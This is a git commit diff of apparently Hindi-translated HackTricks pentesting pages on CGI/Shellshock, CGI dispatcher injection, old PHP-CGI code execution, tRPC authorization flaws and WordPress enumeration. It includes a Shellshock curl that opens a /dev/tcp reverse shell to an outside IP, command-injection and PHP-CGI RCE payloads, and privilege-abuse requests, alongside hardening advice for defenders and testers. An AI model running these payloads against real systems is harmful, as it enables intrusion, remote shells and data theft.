Translated ['', 'src/pentesting-web/command-injection.md', 'src/linux-ha

This commit is contained in:
Translator 2025-10-07 10:34:28 +00:00
parent 89b73e83bb
commit 477aae837c
8 changed files with 725 additions and 676 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.5 KiB

BIN
src/images/k8studio.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 87 KiB

File diff suppressed because it is too large Load Diff

View File

@ -3,22 +3,22 @@
{{#include ../../banners/hacktricks-training.md}}
## जानकारी
## Information
The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **change the extension** from **.pl** to **.cgi**, give **execute permissions** (`chmod +x`) and **access** the reverse shell **from the web browser** to execute it.
CGI vulns की जाँच के लिए `nikto -C all` (और सभी plugins) का उपयोग करने की सिफारिश की जाती है।
The **CGI scripts are perl scripts**, इसलिए अगर आपने किसी सर्वर में पहुँच बना ली है जो _**.cgi**_ स्क्रिप्ट्स को execute कर सकता है तो आप **perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`) अपलोड कर सकते हैं, एक्सटेंशन **.pl** से **.cgi** में बदल सकते हैं, execute permissions दे सकते हैं (`chmod +x`) और वेब ब्राउज़र से reverse shell को access करके execute कर सकते हैं।
CGI vulns की जांच के लिए `nikto -C all` \(and all the plugins\) का उपयोग करने की सलाह दी जाती है।
## **ShellShock**
**ShellShock** एक vulnerability है जो व्यापक रूप से उपयोग किए जाने वाले **Bash** command-line shell को Unix-based operating systems में प्रभावित करती है। यह उन परिस्थितियों को निशाना बनाती है जहाँ Bash को applications द्वारा पास किए गए commands चलाने होते हैं। Vulnerability का मूल कारण **environment variables** का manipulation है, जो dynamic named values होते हैं और यह प्रभावित करते हैं कि कंप्यूटर पर processes कैसे चलते हैं। Attackers इसे exploit कर सकते हैं — environment variables में malicious code attach करके, जो variable मिलने पर execute हो जाता है। इससे attackers सिस्टम को संभावित रूप से compromise कर सकते हैं।
**ShellShock** एक **vulnerability** है जो Unix-आधारित ऑपरेटिंग सिस्टम में व्यापक रूप से इस्तेमाल होने वाले **Bash** command-line shell को प्रभावित करती है। यह Bash की उस क्षमता को लक्षित करता है जो applications द्वारा पास किए गए commands को चलाती है। यह vulnerability **environment variables** के manipulation में निहित है, जो dynamic named values होते हैं और यह निर्धारित करते हैं कि कंप्यूटर पर processes कैसे चलते हैं। Attackers इसे exploit करके **malicious code** को environment variables में संलग्न कर सकते हैं, जो उस variable के प्राप्त होते ही execute हो जाता है। इससे attackers संभावित रूप से सिस्टम को compromise कर सकते हैं।
इस vulnerability का exploit करने पर पेज error फेंक सकता है
Exploiting this vulnerability the **page could throw an error**
आप इस vulnerability को इस बात से पा सकते हैं कि यह पुराने **Apache** version और **cgi_mod** (cgi फ़ोल्डर के साथ) का उपयोग कर रहा है, या `nikto` का उपयोग करके।
आप इस vulnerability को पा सकते हैं यह देखकर कि यह **old Apache version** और **cgi_mod** \(with cgi folder\) का उपयोग कर रहा है, या **nikto** का उपयोग करके।
### **परीक्षण**
### **Test**
अधिकांश परीक्षणों में कुछ echo किया जाता है और उम्मीद की जाती है कि वह string वेब response में लौटेगी। यदि आपको लगता है कि कोई पेज vulnerable हो सकता है, तो सभी **cgi** पेज खोजें और उनका परीक्षण करें।
अधिकांश टेस्ट echo करके कुछ भेजने पर आधारित होते हैं और उम्मीद करते हैं कि वह string वेब response में वापस मिलेगी। यदि आपको लगता है कि कोई पेज vulnerable हो सकता है, तो सभी cgi पेजों को खोजें और उनका परीक्षण करें।
**Nmap**
```bash
@ -51,17 +51,17 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
> set rhosts 10.1.2.11
> run
```
## केंद्रीकृत CGI डिस्पैचर्स (single endpoint routing via selector parameters)
## केंद्रीकृत CGI डिस्पैचर (selector parameters के माध्यम से single endpoint रूटिंग)
कई embedded web UIs एकल CGI endpoint के पीछे दर्जनों privileged actions को multiplex करते हैं (उदाहरण के लिए, `/cgi-bin/cstecgi.cgi`) और अनुरोध को internal function तक route करने के लिए `topicurl=<handler>` जैसे selector parameter का उपयोग करत हैं।
कई embedded web UIs एक ही CGI endpoint (उदाहरण के लिए, `/cgi-bin/cstecgi.cgi`) के पीछे दर्जनों privileged actions को multiplex करती हैं और request को internal function तक route करने के लिए `topicurl=<handler>` जैसे selector parameter का उपयोग करत हैं।
इन routers को एक्सप्लॉइट करने की कार्यप्रणाली:
Methodology to exploit these routers:
- handler नाम गिनें: scrape JS/HTML, brute-force with wordlists, या firmware unpack करके dispatcher द्वारा उपयोग किए गए handler strings के लिए grep करें।
- Test unauthenticated reachability: कुछ handlers auth checks भूल जाते हैं और सीधे callable होते हैं।
- उन handlers पर ध्यान दें जो system utilities को invoke करते हैं या files को touch करते हैं; कमजोर validators अक्सर केवल कुछ characters को ही block करते हैं और शायद leading hyphen `-` को मिस कर देते हैं।
- Handler नामों की enumeration करें: JS/HTML scrape करें, wordlists से brute-force करें, या firmware unpack करके dispatcher में प्रयुक्त handler strings के लिए grep करें।
- Unauthenticated reachability टेस्ट करें: कुछ handlers auth checks भूल जाते हैं और सीधे callable होते हैं।
- उन handlers पर ध्यान कें्रित करें जो system utilities invoke करते हैं या files को touch करते हैं; weak validators अक्सर सिर्फ कुछ characters को ही block करते हैं और leading hyphen `-` मिस कर सकते हैं।
सामान्य exploit रूप:
सामान्य exploit पैटर्न:
```http
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
@ -75,32 +75,32 @@ topicurl=setEasyMeshAgentCfg&agentName=;id;
# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
```
Detection and hardening:
डिटेक्शन और हार्डनिंग:
- सेंट्रलाइज़्ड CGI endpoints पर उन प्रमाणीकरणहीन अनुरोधों पर निगरानी रखें जिनमें `topicurl` संवेदनशील handlers पर सेट हो
- उन parameters को फ्लैग करें जो `-` से शुरू होते हैं (argv option injection attempts)।
- विक्रेताओं: सभी state-changing handlers पर authentication लागू करें, कठोर allowlists/types/lengths का उपयोग करके validate करें, और कभी भी user-controlled strings को command-line flags के रूप में पास न करें।
- केंद्रीकृत CGI endpoints पर `topicurl` को संवेदनशील handlers पर सेट करके आने वाले बिना प्रमाणीकरण वाले अनुरोधों पर निगरानी रखें
- `-` से शुरू होने वाले पैरामीटरों को चिह्नित करें (argv option injection प्रयास)।
- विक्रेताओं: सभी state-changing handlers पर प्रमाणीकरण लागू करें, कड़े allowlists/types/lengths से वैलिडेशन करें, और कभी भी user-controlled strings को command-line flags के रूप में पास न करें।
## पुराना PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
Basically if cgi is active and php is "old" \(&lt;5.3.12 / &lt; 5.4.2\) you can execute code.
इस vulnerability को exploit करने के लिए आपको वेब सर्वर की किसी PHP फ़ाइल तक बिना parameters भेजे पहुँचने की जरूरत है \(विशेषकर बिना "=" कैरेक्टर भेजे\)।
फिर, इस vulnerability का परीक्षण करने के लिए आप उदाहरण के लिए `/index.php?-s` \(ध्यान दें `-s`\) तक पहुँच सकते हैं और **source code of the application will appear in the response**।
बुनियादी तौर पर अगर CGI सक्रिय है और PHP "पुराना" \(&lt;5.3.12 / &lt; 5.4.2\) है तो आप कोड निष्पादित कर सकते हैं।
इस vulnerability को exploit करने के लिए आपको वेब सर्वर की किसी PHP फाइल तक ऐसे पहुंचना होगा कि parameters न भेजे जाएँ \(विशेष रूप से '=' कैरेक्टर न भेजें\)।
फिर, इस vulnerability को टेस्ट करने के लिए आप उदाहरण के लिए `/index.php?-s` देख सकते हैं \(ध्यान दें `-s`\) और **एप्लिकेशन का स्रोत कोड response में दिखाई देगा**।
फिर, **RCE** प्राप्त करने के लिए आप यह विशेष query भेज सकते हैं: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` और **PHP code** को request के **body** में भेजें जिससे वह execute हो
Example:
फिर, **RCE** प्राप्त करने के लिए आप इस विशेष क्वेरी को भेज सकते हैं: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` और निष्पादित होने वाला **PHP code** अनुरोध के **body** में होना चाहिए
उदाहरण:
```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**vuln और संभावित exploits के बारे में अधिक जानकारी:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
## **Proxy \(MitM वेब सर्वर अनुरोधों के लिए\)**
## **Proxy \(MitM to Web server requests\)**
CGI http request में प्रत्येक header के लिए एक environment variable बनाता है। उदाहरण के लिए: "host:web.com" को "HTTP_HOST"="web.com" के रूप में बनाया जाता है।
CGI प्रत्येक header के लिए http request में एक environment variable बनाता है। उदाहरण के लिए: "host:web.com" को "HTTP_HOST"="web.com" के रूप में बनाया जाता है।
HTTP_PROXY variable का उपय web server द्वारा किया जा सकता है। एक **header** भेजने की कोशिश करें जिसमें यह हो: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" और यदि server session के दौरान कोई request करता है, तो आप server द्वारा किए गए प्रत्येक request को कैप्चर कर पाएंगे।
चूँकि HTTP_PROXY variable को web server द्वारा उपयोग किया जा सकता है। एक **header** भेजने की कोशिश करें जिसमें यह हो: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" और यदि सर्वर सेशन के दौरान कोई request करता है, तो आप सर्वर द्वारा की गई प्रत्येक request को capture कर पाएँगे।
## **संदर्भ**
## **References**
- [Unit 42 TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)

View File

@ -2,54 +2,96 @@
{{#include ../../banners/hacktricks-training.md}}
## API Pentesting Methodology Summary
## API Pentesting मेथोडोलॉजी सारांश
APIs का pentesting कमजोरियों को उजागर करने के लिए एक संरचित दृष्टिकोण शामिल करता है। यह गाइड एक व्यापक पद्धति को संक्षेपित करता है, व्यावहारिक तकनीकों और उपकरणों पर जोर देता है।
APIs की pentesting में कमजोरियों का पता लगाने के लिए एक संरचित अप्रोच शामिल है। यह गाइड एक व्यापक मेथोडोलॉजी को समेटता है, जो व्यावहारिक तकनीकों और टूल्स पर जोर देता है।
### **Understanding API Types**
### **API प्रकारों को समझना**
- **SOAP/XML Web Services**: दस्तावेज़ीकरण के लिए WSDL प्रारूप का उपयोग करें, जो आमतौर पर `?wsdl` पथों पर पाया जाता है। **SOAPUI** और **WSDLer** (Burp Suite Extension) जैसे उपकरण अनुरोधों को पार्स और उत्पन्न करने में सहायक होते हैं। उदाहरण दस्तावेज़ीकरण [DNE Online](http://www.dneonline.com/calculator.asmx) पर उपलब्ध है।
- **REST APIs (JSON)**: दस्तावेज़ीकरण अक्सर WADL फ़ाइलों में आता है, फिर भी [Swagger UI](https://swagger.io/tools/swagger-ui/) जैसे उपकरण इंटरैक्शन के लिए एक अधिक उपयोगकर्ता-अनुकूल इंटरफ़ेस प्रदान करते हैं। **Postman** उदाहरण अनुरोध बनाने और प्रबंधित करने के लिए एक मूल्यवान उपकरण है।
- **GraphQL**: APIs के लिए एक क्वेरी भाषा जो आपके API में डेटा का एक पूर्ण और समझने योग्य विवरण प्रदान करती है।
- **SOAP/XML Web Services**: WSDL फॉर्मेट डॉक्यूमेंटेशन के लिए उपयोग होता है, आमतौर पर `?wsdl` paths पर मिलता है। टूल्स जैसे **SOAPUI** और **WSDLer** (Burp Suite Extension) parsing और requests generate करने में सहायक हैं। Example documentation is accessible at [DNE Online](http://www.dneonline.com/calculator.asmx).
- **REST APIs (JSON)**: डॉक्यूमेंटेशन अक्सर WADL फाइलों में होता है, फिर भी ऐसे टूल्स जैसे [Swagger UI](https://swagger.io/tools/swagger-ui/) interaction के लिए एक अधिक user-friendly interface प्रदान करते हैं। **Postman** example requests बनाने और manage करने के लिए उपयोगी टूल है।
- **GraphQL**: APIs के लिए एक query language है जो आपके API के डेटा का एक पूरा और समझने योग्य वर्णन देती है।
### **Practice Labs**
- [**VAmPI**](https://github.com/erev0s/VAmPI): हाथों-हाथ अभ्यास के लिए जानबूझकर कमजोर API, OWASP शीर्ष 10 API कमजोरियों को कवर करता है।
- [**VAmPI**](https://github.com/erev0s/VAmPI): एक जानबूझकर कमजोर API है जो hands-on प्रैक्टिस के लिए है, और OWASP top 10 API vulnerabilities को कवर करता है।
### **Effective Tricks for API Pentesting**
### **API Pentesting के लिए प्रभावी ट्रिक्स**
- **SOAP/XML Vulnerabilities**: XXE कमजोरियों का अन्वेषण करें, हालांकि DTD घोषणाएँ अक्सर प्रतिबंधित होती हैं। यदि XML मान्य रहता है तो CDATA टैग पेलोड सम्मिलन की अनुमति दे सकते हैं।
- **Privilege Escalation**: अनधिकृत पहुंच की संभावनाओं की पहचान के लिए विभिन्न विशेषाधिकार स्तरों के साथ एंडपॉइंट्स का परीक्षण करें
- **CORS Misconfigurations**: प्रमाणित सत्रों से CSRF हमलों के माध्यम से संभावित शोषण के लिए CORS सेटिंग्स की जांच करें
- **Endpoint Discovery**: छिपे हुए एंडपॉइंट्स को खोजने के लिए API पैटर्न का लाभ उठाएं। फज़र्स जैसे उपकरण इस प्रक्रिया को स्वचालित कर सकते हैं।
- **Parameter Tampering**: अनधिकृत डेटा या कार्यक्षमताओं तक पहुंचने के लिए अनुरोधों में पैरामीटर जोड़ने या बदलने का प्रयोग करें।
- **HTTP Method Testing**: अप्रत्याशित व्यवहार या जानकारी के खुलासे को उजागर करने के लिए अनुरोध विधियों (GET, POST, PUT, DELETE, PATCH) में भिन्नता लाएं।
- **Content-Type Manipulation**: पार्सिंग मुद्दों या कमजोरियों के परीक्षण के लिए विभिन्न सामग्री प्रकारों (x-www-form-urlencoded, application/xml, application/json) के बीच स्विच करें।
- **Advanced Parameter Techniques**: JSON पेलोड में अप्रत्याशित डेटा प्रकारों के साथ परीक्षण करें या XXE इंजेक्शन के लिए XML डेटा के साथ खेलें। व्यापक परीक्षण के लिए पैरामीटर प्रदूषण और वाइल्डकार्ड वर्णों का भी प्रयास करें
- **Version Testing**: पुराने API संस्करण हमलों के प्रति अधिक संवेदनशील हो सकते हैं। हमेशा कई API संस्करणों के खिलाफ जांचें और परीक्षण करें।
- **SOAP/XML Vulnerabilities**: XXE vulnerabilities का परीक्षण करें, हालांकि DTD declarations आम तौर पर प्रतिबंधित होते हैं। अगर XML वैध रहता है तो CDATA tags payload insertion की अनुमति दे सकते हैं।
- **Privilege Escalation**: विभिन्न privilege levels के साथ endpoints को टेस्ट करें ताकि unauthorized access की संभावनाओं का पता चल सके
- **CORS Misconfigurations**: CORS सेटिंग्स की जाँच करें ताकि authenticated sessions से होने वाले CSRF attacks के माध्यम से संभावित exploitability का पता चल सके
- **Endpoint Discovery**: छिपे हुए endpoints खोजने के लिए API patterns का उपयोग करें। fuzzers जैसे टूल इस प्रक्रिया को automate कर सकते हैं।
- **Parameter Tampering**: requests में parameters जोड़कर या बदलकर unauthorized data या functionalities तक पहुँचने का प्रयोग करें।
- **HTTP Method Testing**: अनपेक्षित व्यवहार या सूचना disclosures खोजने के लिए request methods (GET, POST, PUT, DELETE, PATCH) बदलकर टेस्ट करें।
- **Content-Type Manipulation**: parsing issues या vulnerabilities की जांच के लिए अलग-अलग content types (x-www-form-urlencoded, application/xml, application/json) के बीच switch करें।
- **Advanced Parameter Techniques**: JSON payloads में अनपेक्षित data types के साथ टेस्ट करें या XXE injections के लिए XML data के साथ प्रयोग करें। व्यापक परीक्षण के लिए parameter pollution और wildcard characters भी आज़माएँ
- **Version Testing**: पुराने API versions attacks के लिए अधिक susceptible हो सकते हैं। हमेशा कई API versions की जाँच और परीक्षण करें।
### **Tools and Resources for API Pentesting**
### Authorization & Business Logic (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls
- [**kiterunner**](https://github.com/assetnote/kiterunner): API एंडपॉइंट्स खोजने के लिए उत्कृष्ट। लक्षित APIs के खिलाफ पथों और पैरामीटरों को स्कैन और ब्रूट फोर्स करने के लिए इसका उपयोग करें।
आधुनिक TypeScript स्टैक्स आमतौर पर input validation के लिए tRPC और Zod का उपयोग करते हैं। tRPC में, `protectedProcedure` आम तौर पर यह सुनिश्चित करता है कि request के पास एक valid session हो (authentication), लेकिन यह संकेत नहीं देता कि caller के पास सही role/permissions (authorization) हैं। अगर संवेदनशील procedures सिर्फ `protectedProcedure` से gated हों तो यह mismatch Broken Function Level Authorization/BOLA का कारण बनता है।
- Threat model: अगर role checks मौजूद नहीं हैं तो कोई भी low-privileged authenticated user admin-grade procedures को कॉल कर सकता है (उदा., background migrations, feature flags, tenant-wide maintenance, job control)।
- Black-box signal: `POST /api/trpc/<router>.<procedure>` endpoints जो basic accounts के लिए सफल होते हैं जबकि उन्हें admin-only होना चाहिए। Self-serve signups exploitability को काफी बढ़ा देते हैं।
- Typical tRPC route shape (v10+): JSON body आमतौर पर `{"input": {...}}` के अंदर wrapped होती है।
Example vulnerable pattern (no role/permission gate):
```ts
// The endpoint for retrying a migration job
// This checks for a valid session (authentication)
retry: protectedProcedure
// but not for an admin role (authorization).
.input(z.object({ name: z.string() }))
.mutation(async ({ input, ctx }) => {
// Logic to restart a sensitive migration
}),
```
व्यावहारिक एक्सप्लॉइटेशन (black-box)
1) एक सामान्य अकाउंट रजिस्टर करें और प्रमाणीकृत सत्र प्राप्त करें (cookies/headers).
2) “list”/“all”/“status” प्रक्रियाओं के माध्यम से बैकग्राउंड जॉब्स या अन्य संवेदनशील संसाधनों को सूचीबद्ध करें।
```bash
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
-H 'Content-Type: application/json' \
-b '<AUTH_COOKIES>' \
--data '{"input":{}}'
```
3) किसी जॉब को पुनः आरंभ करने जैसी विशेषाधिकार प्राप्त क्रियाओं को निष्पादित करें:
```bash
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
-H 'Content-Type: application/json' \
-b '<AUTH_COOKIES>' \
--data '{"input":{"name":"<migration_name>"}}'
```
Impact to assess
- non-idempotent restarts के कारण डेटा करप्शन: migrations/workers को एक साथ चलाने पर race conditions और असंगत आंशिक अवस्थाएँ बन सकती हैं (silent data loss, broken analytics)।
- DoS via worker/DB starvation: बार-बार भारी jobs ट्रिगर करने से worker pools और database connections समाप्त हो सकते हैं, जिससे tenant-wide outages हो सकते हैं।
### **API Pentesting के लिए उपकरण और संसाधन**
- [**kiterunner**](https://github.com/assetnote/kiterunner): API endpoints खोजने के लिए उत्कृष्ट। इसे target APIs के खिलाफ paths और parameters को scan और brute force करने के लिए उपयोग करें।
```bash
kr scan https://domain.com/api/ -w routes-large.kite -x 20
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
```
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj एक कमांड लाइन टूल है जिसे **exposed Swagger/OpenAPI definition files** के ऑडिट में मदद करने के लिए डिज़ाइन किया गया है, जो संबंधित API endpoints के लिए कमजोर प्रमाणीकरण की जांच करता है। यह मैनुअल कमजोरियों के परीक्षण के लिए कमांड टेम्पलेट भी प्रदान करता है।
- अतिरिक्त टूल जैसे **automatic-api-attack-tool**, **Astra**, और **restler-fuzzer** API सुरक्षा परीक्षण के लिए अनुकूलित कार्यक्षमताएँ प्रदान करते हैं, जो हमले के अनुकरण से लेकर फज़िंग और कमजोरियों के स्कैनिंग तक फैली हुई हैं।
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): यह एक API सुरक्षा टूल है जो आपके API का ऑडिट OAS फ़ाइल के आधार पर करता है (यह टूल रस्ट में लिखा गया है)।
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj एक command line tool है जो exposed Swagger/OpenAPI definition files के auditing में मदद करने के लिए बनाया गया है; यह संबंधित API endpoints को weak authentication के लिए चेक करता है। यह manual vulnerability testing के लिए command templates भी प्रदान करता है।
- Additional tools like **automatic-api-attack-tool**, **Astra**, and **restler-fuzzer** API security testing के लिए tailored कार्यक्षमताएँ प्रदान करते हैं, जो attack simulation, fuzzing और vulnerability scanning तक फैली होती हैं।
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): यह एक API security tool है जो OAS file के आधार पर आपके API का audit करता है (the tool written in rust).
### **सीखने और अभ्यास के संसाधन**
- **OWASP API Security Top 10**: सामान्य API कमजोरियों को समझने के लिए आवश्यक पढ़ाई ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
- **API सुरक्षा चेकलिस्ट**: APIs को सुरक्षित करने के लिए एक व्यापक चेकलिस्ट ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
- **Logger++ फ़िल्टर**: API कमजोरियों की खोज के लिए, Logger++ उपयोगी फ़िल्टर प्रदान करता है ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
- **API Endpoints सूची**: परीक्षण उद्देश्यों के लिए संभावित API endpoints की एक क्यूरेटेड सूची ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d))।
- **OWASP API Security Top 10**: सामान्य API कमजोरियों को समझने के लिए अनिवार्य पढ़ाई ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
- **API Security Checklist**: APIs को secure करने के लिए एक व्यापक checklist ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
- **Logger++ Filters**: API कमजोरियों की hunting के लिए, Logger++ उपयोगी filters प्रदान करता है ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
- **API Endpoints List**: testing के उद्देश्य से संभावित API endpoints की curated सूची ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
## संदर्भ
- [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,49 +4,49 @@
## बुनियादी जानकारी
- **अपलोड की गई**ाइलें इसी जगह जाती हैं: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** इसलिए अगर आप theme के कुछ php बदलकर RCE हासिल करना चाहते हैं तो आप शायद वही path इस्तेमाल करेंगे। उदाहरण के लिए: theme **twentytwelve** का उपयोग करते समय आप इस फ़ाइल को एक्सेस कर सकते हैं: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **अपलोड की गई** फाइलें जाती हैं: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **थीम फाइलें /wp-content/themes/ में मिलती हैं,** इसलिए अगर आप थीम के कुछ php को बदलकर RCE प्राप्त करना चाहते हैं तो आप शायद उस पथ का उपयोग करेंगे। उदाहरण के लिए: **theme twentytwelve** का उपयोग करके आप **404.php** फ़ाइल में पहुँच सकते हैं: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **एक और उपयोगी URL हो सकता है:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **एक और उपयोगी url हो सकता है:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- `wp-config.php` में आप database के root password जैसी जानकारी पा सकते हैं।
- जाँच करने के लिए डिफ़ॉल्ट लॉगिन paths: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- **wp-config.php** में आप डेटाबेस का root पासवर्ड पा सकते हैं।
- जांचने के लिए डिफ़ॉल्ट लॉगिन पथ: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files**
### **मुख्य WordPress फाइलें**
- `index.php`
- `license.txt` में उपयोगी जानकारी होती है जैसे इंस्टॉल किया गया WordPress का version
- `wp-activate.php` नया WordPress साइट सेटअप करते समय ईमेल activation प्रक्रिया के लिए उपयोग होता है।
- Login फ़ोल्डर (छिपाने के लिए नाम बदला जा सकता है):
- `license.txt` में उपयोगी जानकारी होती है जैसे इंस्टॉल की गई WordPress का संस्करण
- `wp-activate.php` का उपयोग नए WordPress साइट सेटअप के समय ईमेल सक्रियकरण प्रक्रिया के लिए होता है।
- लॉगिन फ़ोल्डर्स (छुपाने के लिए नाम बदला गया हो सकते हैं):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` एक फ़ाइल है जो WordPress की उस सुविधा को दर्शाती है जो HTTP को transport mechanism और XML को encoding mechanism के रूप में उपयोग करके डेटा ट्रांसमिट करने में सक्षम बनाती है। इस तरह की संचार विधि को WordPress के [REST API](https://developer.wordpress.org/rest-api/reference) ने बदल दिया है।
- `wp-content` फ़ोल्डर मुख्य डायरेक्टरी है जहाँ plugins और themes संग्रहित होते हैं।
- `wp-content/uploads/` वह डायरेक्टरी है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइलें संग्रहीत होती हैं
- `wp-includes/` यह वह डायरेक्टरी है जहाँ core फ़ाइलें संग्रहीत होती हैं, जैसे certificates, fonts, JavaScript फ़ाइलें, और widgets
- `wp-sitemap.xml` WordPress के version 5.5 और उससे बड़े में, WordPress सभी public posts और publicly queryable post types और taxonomies के साथ एक sitemap XML फ़ाइल जेनरेट करता है।
- `xmlrpc.php` एक फ़ाइल है जो WordPress की एक सुविधा को दर्शाती है जो HTTP को ट्रांसपोर्ट मैकेनिज़्म और XML को एनकोडिंग मैकेनिज़्म के रूप में उपयोग करके डेटा संचार सक्षम करती है। इस प्रकार के संचार को WordPress के [REST API](https://developer.wordpress.org/rest-api/reference) द्वारा प्रतिस्थापित किया गया है।
- `wp-content` फ़ोल्डर मुख्य निर्देशिका है जहाँ plugins और themes संग्रहीत होते हैं।
- `wp-content/uploads/` वह निर्देशिका है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई किसी भी फ़ाइल को संग्रहित किया जाता है
- `wp-includes/` यह वह निर्देशिका है जहाँ कोर फाइलें संग्रहीत होती हैं, जैसे सर्टिफिकेट, फॉन्ट, JavaScript फ़ाइलें, और विजेट
- `wp-sitemap.xml` WordPress के संस्करण 5.5 और उससे ऊपर में, WordPress सभी सार्वजनिक पोस्ट और सार्वजनिक रूप से क्वेरी करने योग्य पोस्ट प्रकार और टैक्सोनॉमी के साथ एक sitemap XML फ़ाइल जेनरेट करता है।
**Post exploitation**
- `wp-config.php` फ़ाइल में WordPress को database से कनेक्ट करने के लिए आवश्यक जानकारी होती है जैसे database का नाम, database host, username और password, authentication keys और salts, और database table prefix। यह configuration फ़ाइल DEBUG mode को activate करने के लिए भी इस्तेमाल की जा सकती है, जो troubleshooting में उपयोगी हो सकता है।
- `wp-config.php` फ़ाइल में WordPress को डेटाबेस से कनेक्ट करने के लिए आवश्यक जानकारी होती है, जैसे डेटाबेस नाम, डेटाबेस होस्ट, username और password, authentication keys और salts, और डेटाबेस टेबल प्रीफ़िक्स। इस कॉन्फ़िगरेशन फ़ाइल का उपयोग DEBUG मोड सक्रिय करने के लिए भी किया जा सकता है, जो troubleshooting में उपयोगी हो सकता है।
### Users Permissions
### उपयोगकर्ता अनुमतियाँ
- **Administrator**
- **Editor**: अपने और अन्य के posts को प्रकाशित और प्रबंधित करता है
- **Author**: अपने खुद के posts को प्रकाशित और प्रबंधित करता है
- **Contributor**: अपने posts लिखता और प्रबंधित करता है लेकिन उन्हें प्रकाशित नहीं कर सकता
- **Subscriber**: पोस्ट ब्राउज़ करता है और अपना प्रोफाइल संपादित कर सकता है
- **Editor**: अपने और दूसरों के पोस्ट प्रकाशित और प्रबंधित करता है
- **Author**: अपने स्वयं के पोस्ट प्रकाशित और प्रबंधित करता है
- **Contributor**: पोस्ट लिखता और प्रबंधित करता है पर उन्हें प्रकाशित नहीं कर सकता
- **Subscriber**: पोस्ट ब्राउज़ करता है और अपनी प्रोफ़ाइल संपादित कर सकता है
## **Passive Enumeration**
### **Get WordPress version**
जांचें कि क्या आप `/license.txt` या `/readme.html` फ़ाइलें ढूँढ़ सकते हैं
Check if you can find the files `/license.txt` or `/readme.html`
पेज के **source code** के अंदर (उदाहरण [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
Inside the **स्रोत कोड** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -72,46 +72,46 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### सामान्य तौर पर संस्करण निकालना
### सामान्य रूप से संस्करण निकालें
```bash
